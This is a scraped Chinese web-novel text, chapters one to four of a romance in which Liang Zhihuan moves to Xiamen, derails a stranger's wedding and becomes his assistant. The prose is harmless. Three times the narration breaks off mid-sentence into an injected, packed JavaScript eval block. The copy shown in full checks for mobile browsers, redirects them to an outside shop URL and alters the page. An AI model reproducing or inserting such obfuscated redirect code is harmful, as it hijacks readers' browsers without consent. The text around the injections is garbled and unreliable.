《流浪苹果与柏拉图》 1. 01 记得我们的约定: 如果吵架,第二天要一起睡。 ------题记 * 九月的厦门,暑气未消。但比起上海的毒辣来,这边的太阳已算温和善良。 梁芝欢拎着两大袋东西,头顶骄阳穿过社区马路,快步走进小区大门。 好在租的楼栋就在第二排,不用再长途跋涉,多走几步便到楼下。乘电梯上到17楼,按指纹开门,梁芝欢一气将东西拎进厨房。 刚冲到客厅端起水杯猛灌,爸妈每周末的关爱视频拨过来。 照例老生常谈,询问最近怎么样、工作找得如何、有没有好好吃饭之类。梁芝欢回去厨房,将手机架在台面一侧,边整理边回应关切。 “芝荣今天没过来?”涉及她的话题问完,爸爸提起弟弟。 “来的,他说有事晚点到。” 弟弟大学住校,逢周末过来陪她两天。 爸爸哦了一声,沉默下去,旁边芝荣妈妈唤她小名。 “芝芝,等天气凉快点,我给你做些糟卤快递过去。” “好啊!”梁芝欢面露雀跃,“我正想念妈妈的醉螃蟹。” “想就回来。”爸爸插话,语气中带着一点家长的威严。 梁芝欢没接话,听芝荣妈妈附和着说:“对呀,没什么事国庆就回来住几天......” “.......” 她在心底涌出一片无奈。 事实上,离开家来这边也就八月初的事,才不过一个月,搞得好像一年一样。 “好......等月底再看。” 梁芝欢敷衍地应承,在芝荣妈妈“照顾好自己”的反复叮咛中掐断了视频。 两大袋东西摊满整个台面,梁芝欢盯着愣神几秒,三下五除二将它们统统塞进冰箱。然后把买回的麒麟瓜一切为二,拿上勺子,抱着半个走出厨房。 客厅连着一个室内阳台,全落地窗,视野开阔。刚搬进来,便被她摆上吊椅小桌,有事没事往这儿一坐,眺望远处风景,舒展心胸。 小区地处厦门新区,四周全是近几年新建的楼盘,生活配套及公园绿化尚算理想,并且步行二十分钟出去还有一个CBD。 梁芝欢投出的简历中就有那里面的公司,可惜全都石沉大海。 想到工作可能毫无着落,国庆得灰溜溜回去上海,梁芝欢嘴里的西瓜都没那么甜了。 好好的研究所工作放着不干,裸辞跑来厦门,爸妈虽说没有明确反对,言语间却流露不赞同。 他们没想到一向乖顺听话的女儿,突然心血来潮“离家出走”。要不是借口陪弟弟来厦门读大学,只怕不会答应她一个人跑那么远。 梁芝欢又挖了一勺西瓜塞嘴里。 反正,无论如何,还不能回去。 弟弟的来电适时响起,莫非不回来了?梁芝欢按下免提,急促焦灼的声音立马炸了出来--- “姐,我回不去了!” 梁芝欢心里微微一沉:“怎么了?” “于菲今天要跟别人结婚!” 于菲? “我必须去阻止她!” “等等---”梁芝欢完全摸不着头脑,“于菲是谁?” “我女朋友。” 女......朋友? 梁芝欢眼睛瞪得溜圆。 大一新生,八月初才跟她一起来厦门,这才开学没几天就有了女朋友? “哎呀跟你说不清楚.......反正军训认识的。” “那你确定是她结婚?”听起来不合理啊! “我当然确定!”弟弟没好气。 “那她怎么要跟别人结婚?” “于菲也不愿意。” 既然都要结婚了,人家怕是压根儿没拿他当什么男朋友。 “芝荣……”梁芝欢一时不知如何安抚急躁冲动的弟弟。 才刚认识几天就以为是自己女朋友,这小孩啊…… “于菲可能早就订了婚约,只是没告诉你,你现在跑过去胡闹……” “我没胡闹,她是我女朋友!”电话那头彻底失去理智,任性地要挂电话。 梁芝欢连忙出声劝阻:“你冷静一点!你才认识她多久,你根本都不了解---” “你和姓黄的认识三年还是两年?你又有多了解?” “梁芝荣!”梁芝欢喝了一声,也没好气。 “随便你!” “你果然是我同父异母的姐姐!”梁芝荣咬牙说完,恨恨地掐断电话。 ....... 梁芝欢四岁时,妈妈因心脏病过世。 半年后,爸爸续了弦,新妈妈很快给爸爸生了一个儿子。 梁芝欢小的时候不懂,和弟弟、继母相处和睦。等到初中懵懂了解情爱,开始在心里怪爸爸这么快就忘了妈妈。 尽管如此,她还是一如既往疼爱这个比她小六岁的弟弟。 所以,怎么可能看着他胡闹无动于衷? 梁芝欢匆匆起身,只拿了手机换鞋出门。边走边发消息,问弟弟要婚礼地址。 “干嘛?”他回过来。 “去帮你啊!” 梁芝欢真是服了。 等收到地址,不放心地告诫他一声:“你别乱来,等我过去再说。” 弟弟发来的地址是厦门市有名的天主教堂。地处老城,周边道路狭窄,周末也是条条马路塞满了车。 梁芝欢怕来不及,提前近两公里下了出租,徒步快速赶过去。 她不喜欢扎头发,长发披肩,等冒着太阳走到教堂,颈后已经汗湿一片。 教堂外的草坪聚集不少宾客,梁芝欢顾不上热,在人群里搜索弟弟的踪影。兜了数圈,没找到人。怕他去了里面闹,只好偷摸溜进教堂,逢人便躲,又一阵瞎转。 该死的梁芝荣,这时候居然不接她电话! 教堂里房间众多,梁芝欢瞎转到一扇门外,忽然听到前方有人朝她这边来,连忙推门躲进去,藏到隐蔽角落。 “都这个时候了你还笑?赶快帮我想个法子,我不要结这个婚!” “你以为我是神仙?你又不是不知道老爷子的厉害,除非他突然改变心意,否则神仙来了也没用。” “可我不想结婚,也根本不喜欢这个女人……” “呃……身为潘家独子,你应该早就明白会有这么一天。其实,说不定对你这个花花公子来说是件好事---等下,我出去接个电话……” 两个男人随后也走了进来,他们的对话梁芝欢听得清清楚楚。 显然其中一个男人就是今天婚礼的新郎。 而且---她听到一个很重要的讯息---他不喜欢新娘,也不想结婚。 而芝荣说,于菲也不愿意嫁。 “谁?” 梁芝欢一路飞奔至此,呼吸急促,喘气稍重。不料这人如此敏锐,转眼就察觉有人躲在柱子后面。 来到面前的男人穿一套亮眼的白色礼服,身形挺拔如柱。轮廓分明的五官,好看得让她忘了收回视线。 他是令女人心仪的新郎。 “你是谁?” 我…… 梁芝欢眼睛不由自主朝门口瞄了瞄,尔后突然朝那个方向移动。但她想逃跑的企图太着痕迹,那男人几乎在她刚迈出第一步,就飞快而准确地伸手抓住了她。 “你是谁?”他又问一遍,“为什么在这?” 我是你准老婆的准男友的姐姐,来这里找企图破坏你婚礼的弟弟,甚至还有一点想帮弟弟忙的念头。 就是跟眼前的男人拼上一架,梁芝欢也不可能说出真相。 “如果不想这身礼服被毁,请放手。” “除非说你是谁、为什么躲在这里?” “放开我---” 梁芝欢只想趁事态扩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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然而那顾得上疼,趁挡在面前的人还没反应过来,梁芝欢已慌张地推开他,以拼尽小宇宙爆发的速度飞快逃离...... 毕正揉着胸口,拧眉看向冒失鬼夺路狂奔的背影。 “跑得可真快。”潘柏雷来到门口,已不见人影。 “她谁?” “谁知道?不知道哪里冒出来的......”潘柏雷脸上露出舒展的笑意。 “也许......” “是老天爷派来拯救我的天使。” ....... 教堂前的宾客尚不知里面发生了什么,依旧一团喜气祥和。梁芝欢心虚地一气跑出老远,在确认安全之后,瘫坐在路边一块花坛边,心里阵阵发慌。 可是她慌什么? 新郎和新娘本来就不想彼此交换承诺,她不过......恰巧“促成”了他们。 梁芝欢一边揉着撞痛的额头,一边竭力安慰自己。 弟弟的电话依然无人接听,沮丧中,梁芝欢远远看见一辆辆车从教堂鱼贯而出,她的心也跟着一点点下沉...... 良久,那边再无动静,梁芝欢强打精神,步履沉重地慢慢挪了回去。 草坪上已经空无一人,工作人员正往门外搬东西。梁芝欢不死心上前,刚想打听婚礼是不是取消,不经意扫到门口的一块欢迎宾牌。 “各位挚友亲朋 秋风有信 白首无期 诚邀你来见证我们的幸福时刻 新郎:潘柏雷 新娘:梅高晴” 梁芝欢使劲眨了两下眼睛--- 新娘...... 梅、高、晴! 2. 02 梁芝荣天黑才回来,嘴里哼着小曲儿,一脸春风得意。 “你还知道回来?”梁芝欢坐在沙发上,盯着他面色阴沉。 “对不起......”梁芝荣心虚,坐过来道歉:“害你白跑一趟。” 白跑一趟...... “所以根本不是于菲结婚?” “对,于菲跟我闹别扭,故意编谎话气我。” “......” 梁芝欢深吸两口气。 “那你为什么不及时告诉我?” “我……”梁芝荣欲言又止。 “给你打电话为什么不接?”梁芝欢拔高音量。 “我、我那时在宾馆……” “不接我的电话就因为在宾馆?”梁芝欢气得握拳。 “一年前我就满十八岁了……” 梁芝荣意识到状况不妙,还没来得及撒腿开溜,两记拳头重重落在背上。 “啊啊啊---” “于菲和我同年……” 梁芝欢气上心头,当即把弟弟打回了学校,并且下达禁足令---三个月不准回来! 可惩罚了弟弟,她呢? 什么样的惩罚才能减轻毁掉别人婚礼的罪过? 梁芝欢活到二十四岁,头一遭做亏心事,连夜向前同事兼闺蜜的冉青打去心理求助电话。 “我觉得这也怪不到你头上。”冉青在电话里温言细语开解她。 “你想啊,要是两人彼此相爱,怎么可能因为这点小小的误会取消婚礼?” “明显两个人都迫于无奈,正好你充当了那根导火索。” “那个新郎不是也说得很清楚嘛,搞不好,他现在还对你感激不尽呢!” “新娘最后没嫁给一个不爱她的男人,不等于救她余生于水火?” “.......是吗?”好友的话字字句句,听起来确有几分道理。 “是啊!我们不是老早就知道,凡事要透过现象看本质,别自责了啊!” 梁芝欢心中的负罪感,终于被青青善解人意地化去大半。 “对了,那个姓黄的最近没来研究所找你了。” 冉青话题忽然跳转,梁芝欢愣了一愣。 “哦......那就好。” “他没再纠缠你了吧?” “喔,他不知道我在哪儿。”老的手机卡早换了。 那头声音猛地一狠:“都逼你辞职躲厦门去了,要再缠住你不放,老娘就找上门去,叫他老婆来管!” ....... 结束与闺蜜倾诉,梁芝欢倒在床上辗转难眠。 一会儿想着下午的婚礼,一会儿想起被蒙在鼓里的两年。后来不知怎么睡着的,还做了个荒诞离奇的梦。 梦里是她结婚,在只有一圈四百米长跑道的操场上。 没错!什么都没有的操场!她的新郎穿着白色礼服,背对着她在讲电话。她站去身后,想看清他的样子,然而他转身过来,将她的头按进怀里。 宽阔的胸前插着一朵香槟玫瑰,坚实的锁骨硬朗地硌着她的额头---彷佛现实中撞痛她脑袋的胸膛....... 梦里没有婚礼开始和结束的过程,画面直接转入洞房。她阖眼躺在床上,陌生男人手指轻柔抚上她的脸颊,落下灼烫缠绵的亲吻。 芝欢…… 芝欢…… 就在男人一声又一声缱绻的呓语里,梁芝欢豁然睁眼,惊觉是在做梦。 一场差点把自己交给一个陌生男人的荒唐绮梦。 那个男人的模样从头到尾不曾清晰,然而最后一幕的感觉却别样深刻。 曾经有个人也是这样抱着她,低低地唤她的名…… 只不过是场梦。 梁芝欢将手放在胸口,很快安抚了躁动的心。 分手后,这是她第一次梦见其他男人。 想到这点,梁芝欢弯起嘴角。 恰巧,他姓黄,所以和他的交往注定只是“黄梁一梦”。 * 半个月后,梁芝欢如愿以偿,接到CBD内一家贸易公司的面试通知。 资料上显示总部在上海,两百人的规模,而她要应聘的职位是厦门分公司的总经理助理。 梁芝欢特意穿了条凸显稳重的藏青色连衣裙,头发也扎成跟简历照片一样的马尾。 比约定时间提前十分钟到达,刚走进办公大楼,看见大堂围了好些人,有人高喊“快叫救护车”。 梁芝欢靠近事发中心,原来一位老先生突发心脏病快要昏厥。 她微微一怔,接着脱口而出:“我有速效救心丸。” 老先生旁边一脸焦急的中年男人立马冲到她跟前,梁芝欢从包里翻出药瓶,交到他手上。另一个年轻男子递给他一瓶矿泉水。 中年男人让老先生张嘴,勉强喝点水,再把七八粒药含在嘴里。少倾,老先生呼吸慢下来,脸上痛苦之色有所减缓。 瞧见这一幕,众人松了口气。 不一会儿,救护车的声音由远处传来,中年男人脸上终有了笑容,将手里的矿泉水递回年轻男子。 四处看了看又回头问:“毕正,刚才那位小姐走了?” * 从面试时间不超过15分钟,加上人事主管脸上敷衍的笑容,以及最后一句硬邦邦的“有消息后会通知梁小姐”来看,梁芝欢知道自己凶多吉少。 可惜了,这栋办公楼离她租的房子真得很近啊! 梁芝欢为自己惋惜,走路心不在焉,就在出公司门口时差点撞上一个人。她抬头飞快地扫了他一眼,说了声“不好意思”,连样子都没记下便走了。 “速效救心丸?” 这个称呼令她一顿,停下脚步回头,一张年轻的男性面孔迟疑地看着她。 刚才只认出她的包,毕正这下确定她正是在楼下施以援手的那位小姐。 毕正脸上展露一丝礼貌的微笑,客气的地说:“谢谢你的药!刚刚那位老先生是我朋友的父亲。” 梁芝欢意兴阑珊地“哦”了一下,扯了扯嘴角,算是不用谢。 眼看这位小姐漠然离去,毕正默默地把之前定义的“热心肠”改为“冷漠的热心肠”。 刚好人事主管在跟前台交代事情,他多管闲事地凑上去,看到一份有她扎着马尾头像的简历。 “招什么人?” “刘董要给总经理换一个助理。” 毕正听了没再多问。 晚上,他被潘柏雷叫去酒吧喝酒。 “潘大少爷这是为哪位红颜知己借酒浇愁?” 毕正脱掉西装外套,妥帖地搭在一旁的椅背上,然后在他对面坐下,双手交叠于胸前。 潘柏雷切了一声,拉开一听啤酒,啪地放在他面前。 “你才认识我?我什么时候为女人喝酒浇愁过?” “我开车来的。” “帮你叫代驾。” “你才认识我?我的车会给别人开?” 潘柏雷一副受不了他的嫌弃。 他最无法理解一个大男人,居然洁癖严重到这个地步。 “被你爸训了?” 潘柏雷痛心疾首:“你说,为什么每次老头子心脏出问题就要对我逼婚?好像我一结婚就能治好他的病!” “董事长老来得子,你作为他的宝贝儿子,你的幸福确实是他的良药。” “我现在过得哪里不幸福?他就是要逼我按照他规划的人生轨迹,过没意思的生活,自己给自己气病了还丢锅给我。” 毕正揉了揉眉尾,不想跟他继续辩论这个话题。 该说的话这两年没白说,可惜柏雷还是像小孩子一样任性。他打定主意这辈子不要被婚姻束缚,任凭他磨破嘴皮也改变不了一丝一毫。 “听说你舅舅在帮你物色新助理?”毕正挑了挑眉毛,转移话题。 他不是没听过办公室的风言风语,上任助理似乎跟他暧昧不清。 潘柏雷观其色,会其意,连忙自我澄清。 “兔子不吃窝边草,我怎么可能对一个助理下手?” 那张绯闻女主妩媚的脸庞在毕正眼前一晃而过,取而代之的是另一张清秀冷淡的表情。 很奇怪,当看到她的背影 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13713187|144656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时,一种似成相识的感觉油然而生。但事发当场,他明明只注意到她手里的包。 “今天那位出药相助的小姐,碰巧来公司应征了。” “靠……”潘柏雷脸上泛起不可思议的笑容,眼里带着一丝兴奋。 “长得怎么样?” “你需要关心草的样子吗?”毕正蹙眉。 “好歹要朝夕相对。” “大少爷,你一个礼拜呆在公司的时间加起来有一天吗?” “你有劲嘛?故意吊我胃口……呃......” 毕正站起身,一边穿外套一边说:“人家正经女孩,我怕被你祸害。” “你好样的!” 潘柏雷恨得牙痒,酒也不喝了,缠着毕正送他回家。 毕正也不推辞,只是任凭他在车上如何求爷爷告奶奶,始终不肯定把“梁芝欢”三个字透露给他。 潘柏雷下车的时候,一气不吭,重重地甩上了车门。 潘柏雷今年二十六岁,两年前从英国某大学念完硕士回国。 潘父年过四十才得此一子,从小宠爱,疏于管束,以致他生性懒散、沉迷享乐,在学业与事业上毫无进取心。 潘父大半辈子苦心经营,小有成就,也没对儿子有过高要求,只希望他收心回公司,守住小小的家业,再找一个贤良淑德的妻子,早日为潘家开枝散叶。 于是一回国,潘柏雷就被父亲拉进厦门分公司担任总经理。不过,他哪有半分当总经理的兴致? 潘柏雷最讨厌条条框框的约束,根本不喜欢呆在公司里听报告、看文件,没完没了的开会。更讨厌参与各种酒会宴席,脸上堆满假笑,互相阿谀奉承,各种利益交换。 他根本不适合做总经理! 这些话,他都跟父亲据理力争过,父亲说:“谁让你是潘仁雄的儿子?” 他又拿去向毕正抱怨,毕正说:“你是生在福中不知福。” 说起来,他还是进公司后才跟毕正熟络起来。不过两年时间,却与他惺惺相惜。 可能因为毕正身上有父亲期望他成为的那种人的气质,也可能因为他行事磊落,从未把他当公子哥一样奉承或敷衍。 还有,他也会不时提点他这样不可那样不行,像一个朋友---亦像一位长兄,但如果他坚持,毕正也不会强迫他接受或改变。 总之,毕正让他感觉很舒服---当然偶尔除外。 比如吊他胃口这种事。 第二天早上,毕正还在办公室整理一会儿开会要用的资料和思路,有人叩门。 房门只是虚掩着,所以一抬头就看见潘柏雷倚在门框上,冲他得意地扬了扬手里的A4纸。毕正放下手中的文档,往后一靠,好整以暇地等他开口。 潘柏雷慢悠悠地晃进来,把手中的A4纸“啪”地拍在他桌上。 “你以为我查不到?”语气也相当得意。 毕正视线扫过那张扎马尾的照片,朝他扬起眉:“所以大少爷今天来公司就是为了查这个?” “还不是你撩起头就不管了,你明知道我最讨厌被人吊胃口……” 毕正腹排了一句“幼稚鬼”,目光却快速扫过她的工作经历,只有一份外地两年时间的研究员工作。 显然,他对幼稚鬼说:“恐怕总经理助理的职位不适合她。” “我也觉得……看上去长得一般……”潘柏雷把那张A4纸抓回手上,再看了看照片。 毕正不想再多费唇舌,潘少爷在对某些问题的看法上总是剑走偏锋的。 于是他抬腕看了下表,淡淡地说:“我有个电话会议五分钟后开始。”然后目光在他和门之间游移了一下。 不过潘柏雷好像还沉浸在上一个问题中,根本没去领会“你该出去了”的意思。 “奇怪……我觉得她有点眼熟……” “是奇怪,我以为你只会对美女才觉得眼熟。”毕正干脆站起来,不客气地把他往外推。 “喂,说真的---” 潘柏雷略略挣扎,在被毕正关在门外的刹那,蹦出最后半句。 “真人比照片好看吧?” 3. 03 “啊---梁芝荣---” 彼时,梁芝荣正在图书馆写材料,电话里溢出的女人尖叫划破周遭宁静。 他抱歉地对周围投来的目光笑笑,飞快走出馆外,咬牙切齿地问:“你又受什么刺激了?” “我、我被录用啦!”梁芝欢的声音仍然兴奋高亢。 梁芝荣的恼怒转瞬间化为欣慰---天呐,他继而意识到--他居然像她的老父亲一样觉得欣慰,明明是她比较老好不好? “哦,那太好了。”他半带敷衍地说,“以后你就有钱请我吃大餐、帮我买乔丹鞋。” “没问题!”梁芝欢答应得十分爽快,“我什么时候亏待过你?不过……” 那头接着话锋一转:“你要先陪我去买衣服。” 最后的语气变得有些撒娇。就因为常常这样,才让梁芝荣感觉她这个姐姐反而需要弟弟照顾,所以他年纪轻轻心态却老了。 想到这里,梁芝荣忍不住挪揄她:“你不是让我禁足三个月?” 这话一下勾起自己闯下的祸端,梁芝欢烦躁地揉了揉头发,撂下一句“你爱来不来”,挂断电话。 去面试那天梁芝欢观察过,大楼里出入的人大多着装正式。她又是总经理助理,最好给人专业感,所以添置几套职业装势在必行。 周末,梁芝欢由弟弟陪着去逛商场。白衬衫、竖条纹小西装、同款西裤,披肩长发用夹子在脑后挽成一个发髻。 她的小参谋从头到脚鸭舌帽、卫衣、休闲裤、运动鞋,再背一个牛仔包。双手抱胸,酷酷地对着她上下打量,皱眉表示欣赏不来。 “像酒店大堂领班。” 梁芝欢瞪他一眼。 “真的,不如你原来好看。” “我又不是去选美。” 梁芝欢才不管他的评价,试了三套统统拿下。拎着购物袋出来的时候,梁芝荣把她头上的夹子摘掉,让头发重新披散下来。 “我需要适应期,你没头发的样子太奇怪了!” ....... 其实也不怪弟弟夸张。穿上职业装、挽起头发后,变化的确十分明显。在家对着镜子练习微笑时,梁芝欢自己都觉得有点不像她本人。 弟弟半躺在沙发上玩游戏,对她缺乏自信的反复练习嗤之以鼻。 “我敢赌一个月的零花钱,你去报道的时候肯定怯场。” “怯场很正常啊!”梁芝欢翻了翻白眼,才不会跟他赌心知肚明的事。 “刚到一家新公司,又是全新的职业,谁都忐忑好吗?” “所以干嘛要去做毫无经验的工作?” 梁芝欢一下陷入沉默。 大学选高分子材料是因为父亲,毕业后进研究所工作也因为父亲。 本来她可以一直这样为了父亲的意愿从事她不喜欢的工作,反正事业于她而言更多只是生计手段,她的全副热情都给予了爱情---她有黄治。 在大学的最后一年,她遇到了黄治。 那时候,他已经是在社会摸爬滚打八年后小有成就的商人。比起同龄人,他沉稳、睿智、幽默、体贴,在梁芝欢眼里就是“魅力”的最好诠释。而她自己,则是“幸运儿”的最佳代表。 因为如此优秀、步入不惑的男人至今未婚的原因就是她---多年寻觅才遇到的人生伴侣。 这样美好的念头一直持续到真相被揭开的那天。 对于感情,梁芝欢容不得一丝不洁。当得知自己“被小三”,她痛苦又无奈地选择了分手。 为了彻底摆脱黄治的纠缠,以及防止自己心软做出错误选择,梁芝欢不惜离开故土来到厦门。 弟弟在厦门大学读书,刚好给了父亲一个理由。 但远离了父亲,又失掉了爱情,梁芝欢已经无法再忍受面对一份不喜欢的工作。 所以,她想找一份起码感兴趣的工作。 无奈隔行如隔山,除了研究所的背景,她什么经验也没有。对于此次面试,权当积累经验,顺便碰碰运气,哪知偏偏走了狗屎运,居然接到入职通知...... “姐……” 梁芝欢出神许久,这样的她让梁芝荣开始不安。 “芝荣.......” 梁芝欢却微笑着转过头看向弟弟,忽然非常励志地握手成拳。 “过去的都过去了,从现在开始我要做我喜欢的事,开启我的另一个崭新人生!” “呃……” 梁芝荣被这突兀而来的煽情激起一身鸡皮疙瘩,重重叹一口气。 “也不知道哪一个瞎了眼的总经理挑了你当助理……” * 十月的厦门,风和日丽。 国庆一过,梁芝欢立刻去新公司报道。踏进办公大楼时,发现周围的人行色匆忙,且面色严峻,梁芝欢不禁开始紧张。 随人流走进电梯,余光偷偷扫过身边几位精英男女。他们并非想象中全部西装革履、职业范十足,个别甚至面带长假后遗症的倦怠,但他们都很从容。 电梯停在27层,梁芝欢侧身挤出门去,站定在电梯间,面向公司大门做着深呼吸。 面试时没见过总经理,不知道今天会留给他什么印象,又会不会令他满意...... 几个呼吸后,梁芝欢拍拍胸脯,重新迈步往前。 最坏的情况就是搞砸嘛,大不了就如弟弟所说---就当这堆狗屎白踩了。 “你好,我是新来的总经理助理,第一天报到。” 梁芝欢走到前台,微笑着自我介绍。 一个意味深长的注视过后,斯斯文文的前台小姐姐将她领进一间会议室。梁芝欢寻张椅子坐下,规矩等她叫人来。 十来分钟后,一位身材高挑、穿一条藏蓝色包身长裙的美艳女人走进会议室。 梁芝欢立刻从座位上弹起,面带笑容:“你好,我是新来的助理,我叫梁芝欢。” “嗯,坐吧。”大美人放下手中的一沓资料,轻轻甩了甩波浪长发,五官立体的脸上笑容很淡。 “你刚来公司,我先给你介绍下公司情况。” “好,谢谢......”梁芝欢语气迟钝,不知道谢谁。 “我是刘董的助理,大家叫我Echo。” “哦,好的。”梁芝欢目光落在那双漂亮但疏离的大眼睛上。 或许女人潜意识里,总是对长相过于美艳的女人不容易心生亲切,梁芝欢自觉以后不大可能跟她合得来。 Echo先简单介绍了公司的组织架构、经营范围,以及她的工作内容梗概。梁芝欢丝毫不敢马虎,一丝不苟地在笔记本上做记录。 整个过程持续了三刻钟,Echo停下,带她去到各个部门打招呼混个脸熟。 公司占据大半个楼层,总共八十来号人,所以快速走完一圈,根本不可能记住几个人。梁芝欢一直保持着她练习许久的微笑,谦逊地向每个人点头打招呼,到后面脸都僵成了腊肉。 接着,Echo带她来到她的办公地点。 “这是你的办公桌,里面是总经理的办公室。” 梁芝欢顺着她指的方向,看到了她的一片小天地、以及与小天地相连的小小走道,后面一扇紧闭的深色木漆大门。 “总经理最近出差。”Echo瞥她一眼,继续淡声交代。 “你先花点时间熟悉公司人员和业务,我再慢慢交一些事情给你做。” 梁芝欢再次谢过,去会议室搬回刚才那一沓资料,这才放松地坐进自己的小天地,认真温习Echo教她的内容。 作为一家国际贸易公司,自然主营进口与出口两部分业务。 除了财务、行政人事、物流三个后勤部门,其他六个都是业务部门。其中市场部负责国内国外客户开拓,事业一部至事业五部这五个部门分别负责不同行业的采购。 梁芝欢从员工联系表上看到,各部门经理之上只有总经理和一个独立董事----也就是Echo的老板刘应超。 也不知道公司哪些事务归总经理管,哪些归刘董管? 看了一个钟头资料,梁芝欢渴了,起身去茶水间倒水。在里面看见一个人,想打招呼,却无论如何想不起人家的名字,尴尬地卡在原地。 “我是事业二部的助理Sandy。”对方友善地提醒。 “不好意思,我还记不住名字。”梁芝欢抱歉。 “没关系……中午一起吃饭吗?” Sandy个子不高,但身材匀称。戴一副黑色框架眼镜,头发扎成一个小丸子,五官小小巧巧,笑容很有感染力,梁芝欢一眼就喜欢上她。 “好啊!”她愉快地答应。 中午,梁芝欢跟着Sandy出去觅食。同行的还有另一个助理---事业三部的Jessie。 一个瘦瘦长长的文气姑娘,尾端微卷的头发刚到肩膀,衬着一张白白的鹅蛋脸,很有点知性美。 三个人闲聊一会儿,各自的套餐被端上来。梁芝欢一边扒着叉烧饭,一边好奇地问起公司有关的一些问题。 作为前辈,Sandy比Jessie更健谈,不仅会回答她的问题,还主动告诉她一些公开的秘密。 比如,各个部门的助理在公司算得上是一个非正式小团体,因为几乎所有高管出席的会议、以及部分活动,她们都要参加,混在一起的机会自然比较多,于是逐渐开始抱团。 不过,虽然都是一个大圈子里的人,但又划分成三个小圈子。 市场部和事业一部是大牛部门,所以他们的助理眼高一等,几乎只跟Echo混,这三个人被俗称为A圈。 Sandy她们其他几个业务部门的助理组成B圈,当然后勤部门的就是C圈啦。 “话说你的前任也是个眼睛长在头顶的人,自以为Echo带过她一段时间就以为自己是A圈的,结果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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总之,在接下来的几天里,梁芝欢跟她们俩倒是混得较熟,也陆续从她们、以及其他助理那里了解到一些或有趣或无奈的讯息。 她也逐渐将许多张脸孔与名字一一对上。只是,总经理仍然没有出现。她真的很好奇,这到底是个怎么样的人? 周五过了下班时间,梁芝欢还留在公司恶补空白。梁芝荣从学校打来电话,低呼:“这么晚还在公司?今天周五呃。” 因为有太多的资料要看、要记、要学啊! 虽然Echo还没有派给她实质性的工作,只让她熟悉各项工作流程、产品、客户与供应商,但几乎所有的一切对她来讲都是陌生的,她希望尽快消化、吸收,以便迎接真正的工作,所以每天都在公司呆到八点半才回家。 好在租的房子离公司近又一个人住,于她而言,在公司跟在家区别其实不大。 “周五有什么特别吗?”梁芝欢在电话里反问。 梁芝荣本想说“周五就应该去约会啊”,又怕刺激她,于是换了个话题。 “你那个不靠谱的老板还没回来吗?” “嗯哼。”梁芝欢从鼻腔里出声。 “如果他三个月不回来,你是不是就自动转正了?” “呃……是啊……”她怎么没想到这一层? 梁芝欢吃吃地笑了。 果然如此,那她岂不是第一个安全度过试用期的助理? “明天我跟于菲去约会,周末不回来了。”扯了一些无关痛痒的话题之后,那头的声音忽然正经起来。 “知道了---”梁芝欢的声音拉得老长,“什么时候带于菲一起回来嘛,我们都还没有见过。” “算了,她说暂时还不想见家长。” 家长? 被弟弟这么归类,梁芝欢骤然惊觉自己老了,不由地倒抽一口凉气。 到了八点半,梁芝欢收拾东西准备回家。 根据公司规定,最后离开的人要检查所有照明是否关上。每次她都是最后一个离开公司,所以今天也例行巡视。 走近市场部时,听到极小的说话声,看来今天还有人比她更晚。 梁芝欢轻轻移步过去,开放式的办公区域空无一人。循声望去,才发现原来人在旁边的一间独立办公室里。 印象中,这间办公室一直关着门,所以平时她没太在意。 此刻办公室的门开了一半,梁芝欢忍不住好奇谁在里面,便上前轻轻推开了虚掩的门…… 视线中,只见一个女人坐在办公桌上,一个高大的男人站在她面前。 女人一只手扯着男人的领带,男人朝她前倾了身体。 两人暧昧的姿势、以及因突然被外人打扰而惊诧的表情,就这样赤/裸/裸地撞进了梁芝欢眼里。 4. 04 “啊……对不起……” 梁芝欢慌忙把门带上,快速逃回她的办公室,心脏怦怦跳得好快。 果然到了周五么?可是外面一片广阔天地,何必在办公室搞暧昧嘛!反而弄得别人很尴尬。 她认出那女人是市场部的销售经理沈佳璐。 有一天中午吃饭恰好都在同一家餐厅,沈佳璐同她老板一起,两个人不知说着什么都笑得极其开怀。 Sandy指着沈佳璐告诉她,这个女人相当厉害,不管是做人还是做事,男人也不一定赢得过她的业绩,就是人比较狡猾。 不过,公正地说---Jessie在一旁补充---市场部谁不狡猾呢? 所以,梁芝欢对沈佳璐的印象颇为深刻。不过,男的又是谁呢?五官分明,长得倒是很周正,似乎还有点眼熟…… 正想着,一道人影突然从她面前冒出,吓得她差点叫出声来。 这不正是.......那个男人吗? 他的脸上还余留着刚刚的惊诧。 “你是新来的助理?”问话的声音有些低沉,眼神中带着某种复杂的意味,莫非是来认人封口? 梁芝欢觉得同在一家公司,抬头不见低头见,最好不要因此与人生芥,于是很识趣地表示:“你放心,我不会说出去的。” 谁知,那男的听了过后,浓浓的眉毛微微扬起来,看向她的眼神更加难以捉摸。 难道还不放心?那想怎么样啊? 梁芝欢心里正打鼓,突然他们之间响起一道手机铃声---不是她的。 男人看了一眼手机,转身出去接电话。梁芝欢趁机抓起包,经过他身旁的时候囫囵道了句:“我先走了,拜拜!” 然后在他那说不清道不明的眼神中迅速消失...... “我听到女人的声音啰!不知道是哪位不长眼的小姐在周五晚上还跟毕大帅哥拜拜呢?”潘柏雷在电话那头调侃。 毕正远远地看着那女人进了电梯,这才意识到她真的被招进来了。 没理会潘柏雷的调侃,毕正反问他:“你的助理都来报道了,你人在哪?” 